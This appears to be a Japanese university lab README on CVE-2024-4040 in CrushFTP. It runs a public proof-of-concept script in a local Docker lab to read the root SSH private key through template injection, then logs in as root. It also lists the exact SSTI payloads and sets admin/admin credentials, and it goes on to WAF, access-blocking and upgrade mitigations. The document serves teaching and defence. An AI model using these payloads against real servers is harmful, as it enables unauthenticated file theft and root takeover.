
CVE-2024-4040の概念実証エクスプロイト。CrushFTPにおける未認証のSSTIとローカルファイル読み取りを実証し、Dockerラボと緩和策を備えています。
教育および認可されたラボ利用のみを目的としています。
CS443 ソフトウェア・システムセキュリティモジュール用。ラボは制御されたローカル Docker 環境で実施しました。
| フィールド | 詳細 |
|---|---|
| CVE | CVE-2024-4040 |
| 影響を受けるソフトウェア | CrushFTP < 10.7.1 (v10 ブランチ) / < 11.1.0 (v11 ブランチ) |
| 脆弱性の種類 | サーバーサイドテンプレートインジェクション (SSTI) → 認証なしローカルファイル読み取り |
| CVSS スコア | 9.8 (クリティカル) |
| 影響 | 認証されていない攻撃者がサーバーファイルシステム上の任意のファイルを読み取れる可能性 |
CrushFTP の WebInterface は、zip コマンドの path パラメータ内のテンプレート式をサニタイズせずに評価します。認証されていない攻撃者は匿名セッションクッキーを取得し、そのクッキーを使用して、サーバーが評価して返すテンプレートペイロード({working_dir}、<INCLUDE>…</INCLUDE>)を渡すことができ、ホスト全体で任意のファイル読み取りが可能になります。
| コンポーネント | 値 |
|---|---|
| ターゲット | http://localhost:8080 |
| 基本 PoC CrushFTP バージョン | 10.3.0 (意図的に脆弱な状態) |
| 緩和策 3 テスト環境 | CrushFTP 11.x (修正済みブランチ) を実行する別のコンテナ |
| SSH ポート (コンテナ) | 2222 → 22 |
| 管理者認証情報 | admin / admin |
| コンテナランタイム | Docker (Compose) |
pip install requests rich
| スクリプト | ソース | 目的 |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | 完全な SSTI/LFI エクスプロイト — セッション窃取、任意ファイル読み取り |
recon.py | このリポジトリ | バージョン検出、ライブ SSTI プローブ、脆弱性確認 |
docker-compose up -d
スクリプトを実行する前に、CrushFTP が完全に初期化されるまで約 10 秒待機します。
crushed.py は実行中にエクスプロイトが可能かどうかをチェックするため、ここでは個別の偵察ステップは不要です。
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
スクリプトは次の操作を行います:
/WebInterface/ から匿名の CrushAuth / currentAuth セッションを取得{working_dir} を使用して CrushFTP のインストールディレクトリを解決<INCLUDE>/root/.ssh/id_rsa</INCLUDE> を使用してターゲットファイルを読み取り出力から秘密鍵ブロック(-----BEGIN OPENSSH PRIVATE KEY----- から -----END OPENSSH PRIVATE KEY----- までのすべて)をコピーします。
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<出力から鍵を貼り付け>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# 期待される結果: root
id
# 期待される結果: uid=0(root) gid=0(root) groups=0(root)
hostname
# 期待される結果: <コンテナID>
認証されていない攻撃者
│
▼
GET /WebInterface/ ← 匿名の CrushAuth + currentAuth クッキーを取得
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← SSTI 確認 — テンプレートがサーバーによって評価される
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← 絶対インストールパスを漏洩
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← 任意ファイル読み取り
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← 完全な root シェル
| 問題 | 位置 | 詳細 |
|---|---|---|
| 依存関係の欠如 | 6~9行目 | 実行前に pip install rich が必要 |
| 脆弱な XML パース | 86、140行目 | 非 XML のサーバー応答でクラッシュ;ParseError 処理なし |
| トークン正規表現が厳格すぎる | 160~161行目 | CrushAuth=…; currentAuth=… パターンがすべての sessions.obj 形式に一致しない可能性 |
| HTTP 404 のみ | 53行目 | クッキー取得は 404 の場合のみ成功;その他のステータスコードでは黙ってスルー |
WAF はリバースプロキシとして動作し、CrushFTP に到達する前に受信 HTTP/S トラフィックを検査します。NGINX と ModSecurity を使用することで、CVE-2024-4040 を悪用する悪意のあるリクエストを、CrushFTP 自体を変更することなくネットワークエッジでブロックします。
../、%2e%2e)をリクエスト URI およびクッキーでブロックMitigation 1/docker-compose.yaml を使用:
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
Mitigation 1/nginx.conf を使用:
worker_processes 1;
events {
worker_connections 1024;
}
http {
# ModSecurity を有効化
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# すべてのトラフィックを CrushFTP にプロキシ
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# ブロックされたリクエストには 403 を返す
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Request blocked by WAF"}';
}
}
}
攻撃者 -> NGINX WAF (ポート 80) -> 悪意のあるリクエストをブロック -> 403 Forbidden
-> 正常なリクエストを転送 -> CrushFTP:8080
CVE-2024-4040 は認証なしで悪用可能です。このラボでは、機密性の高いルートへのプロキシ前に Authorization ヘッダーを要求することで、NGINX レベルで匿名スタイルのアクセスをブロックします。
crushed.py のようなエクスプロイトスクリプトは認証されていないアクセスに依存します。資格情報のないリクエストは 401 で拒否/WebInterface/ および / へのリクエストは、認証データがない場合は拒否services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
events {}
http {
server {
listen 80;
# 静的アセットは認証なしで許可
location ~* \.(css|js|png|jpg|ico|gif)$ {
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
}
# WebInterface への認証なしアクセスをブロック
location /WebInterface/ {
if ($http_authorization = "") {
return 401 "Authentication Required - Anonymous sessions disabled";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Authorization $http_authorization;
}
# その他すべての認証なしアクセスをブロック
location / {
if ($http_authorization = "") {
return 401 "Authentication Required";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
}
# 認証なしリクエストが NGINX で拒否されることを確認
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# 期待される結果: 401 Unauthorized
# オプション: 認証済みリクエストは転送されるはず
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername
CrushFTP 11 へのアップグレードが最も効果的で永続的な修正です。このパッチは VFS パス解決に厳格な入力検証を追加し、CVE-2024-4040 の根本原因を排除します。
crushed.py のようなエクスプロイトスクリプトはバージョン 11 では動作しないDockerfile を更新して CrushFTP 11 を使用:
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt
RUN apt-get update -y && apt-get -y install unzip wget openssh-server
COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip
EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22
WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"
CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d
コンテナを再構築:
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d